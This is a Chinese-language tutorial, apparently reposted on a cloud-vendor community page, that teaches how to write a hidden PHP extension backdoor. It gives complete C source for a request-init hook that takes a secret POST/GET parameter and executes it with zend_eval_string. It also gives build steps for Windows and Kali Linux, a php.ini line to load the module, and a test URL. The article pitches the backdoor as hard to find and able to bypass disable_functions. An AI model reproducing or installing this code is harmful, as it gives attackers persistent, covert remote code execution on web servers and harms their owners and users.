手把手教你編寫基於PHP擴充庫的後門教程

來源:互聯網
上載者:User

0x00 前言

今天我們將討論編寫基於PHP擴充庫的後門。通常來說,大部分入侵者都會在指令碼中留下自訂代碼塊後門。當然,這些東西很容易通過原始碼的靜態或動態分析找到。

利用PHP擴充庫的好處顯而易見:

1很難尋找 繞過disable_functions選項 有能力控制所有的代碼 存取碼執行的API

但是我們需要有編輯PHP設定檔的能力。

0x01 細節

//【譯者註:用linux兩條命令搞定了,何必windows費這麼大勁】

作為例子,我會用Windows來寫。寫擴充我用的Visual Studio 2012 Express版本。還需要的原始碼最新版本,編譯PHP庫(可從同一來源收集)。為簡單起見,我們需要是的php-5.5.15-Win32的 VC11-86和源PHP-5.5.15-src.zip

解壓使用C編譯PHP:PHP,原始碼在C:PHP-SRC。

然後,你需要進行一些設定。

1)添加前置處理器定義:

ZEND_DEBUG=0 ZTS=1 ZEND_WIN32 PHP_WIN32

前置處理器定義

2)添加的目錄,用於串連源:

C: PHP-SRCmain C: PHP-SRCend C: PHP-SRCTSRM C: PHP-SRC egex C: PHP-SRC

其他目錄串連

3)添加其他目錄中liboy php5ts.lib(C: PHP dev的)

其他目錄庫

4)添加串連庫php5ts.lib。

裝配額外的庫

5)指定收集檔案的路徑。

儲存設定檔

配置參數為Workspace擴充的開發後(詳情可以在http://blog.slickedit.com/2007/09/creating-a- php-5-extension-with-visual-c-2005/找到),建立一個新的項目類型後門“控制台應用程式的Win32”。

在Visual StudioVyberem型“庫DLL»項目”

選擇合適類型

然後,從項目中刪除不必要的檔案。應該只需要backdoor.cpp,STDAFX.CPP和stdafx.h中。

在標頭檔stdafx.h中

#pragma once #ifndef STDAFX #define STDAFX #include "zend_config.w32.h" #include "php.h" #endif

現在,我們直接進入PHP擴充的代碼。刪除所有行,並添加所需的檔案串連。

#include "stdafx.h" #include "zend_config.w32.h" #include "php.h"

如果workspace設定已經正確,警告就會消失。

當模組被初始化時,會有幾個事件,其中每一個都在特定條件下發生。我們需要在查詢執行時,去執行我們的代碼。要做到這一點,你必須初始化我們所需要的功能,我給它命名為«hideme»。

PHP_RINIT_FUNCTION(hideme);

然後你可以去看模組的初始化。

zend_module_entry hideme_ext_module_entry = { STANDARD_MODULE_HEADER, "simple backdoor", NULL, NULL, NULL, PHP_RINIT(hideme), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES }; ZEND_GET_MODULE(hideme_ext);

在這篇文章中,我們只需要載入中代碼被執行即可,因此運行和卸載模組由空取代。

現在,你可以去看hideme的函數體。

PHP_RINIT_FUNCTION(hideme) { char* method = "_POST"; // 超全域數組,從中我們採取perametr和價值 char* secret_string = "secret_string"; //參數,這將是啟動並執行代碼 //【譯者註:在原文作者的github代碼中method是get,secret_string是execute,請大家按照github代碼進行測試,不修改原文了】 zval** arr; char* code; if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { HashTable* ht = Z_ARRVAL_P(*arr); zval** val; if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { //尋找散列表中所需的參數 code = Z_STRVAL_PP(val); //值 zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); //代碼執行 } } return SUCCESS; }

注釋應該比較清楚。最初,我們設定HTTP方法和參數secret_string。然後再尋找正確的數組參數,如果有的話,我們就從它的值中取指令,並通過zend_eval_string執行代碼。

編譯後的所得,即可作為一個擴充庫。

下載原始碼

https://github.com/akamajoris/php-extension-backdoor

0x02 測試

//以下為譯者測試截圖:

1http://127.0.0.1:1629/20140917/test.php?execute=phpinfo();

(因為原作者github代碼設定的是execute)

Linux編譯(kali)

1apt-get install php5-dev phpize && ./configure && make

在kali下測試一遍成功,我比較懶,直接chmod後把so複製到/var/www了哈哈

然後php.ini加上

1extension=/var/www/back.so

重啟apache,測試成功

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.